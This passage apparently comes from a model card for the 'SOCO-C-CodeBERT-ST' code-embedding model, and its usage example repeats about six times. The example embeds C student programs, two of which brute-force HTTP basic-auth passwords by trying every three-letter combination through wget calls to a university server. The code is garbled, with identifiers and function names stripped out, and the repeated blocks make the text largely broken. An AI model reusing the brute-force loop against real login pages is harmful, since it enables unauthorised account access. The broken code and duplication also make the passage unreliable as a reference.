]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
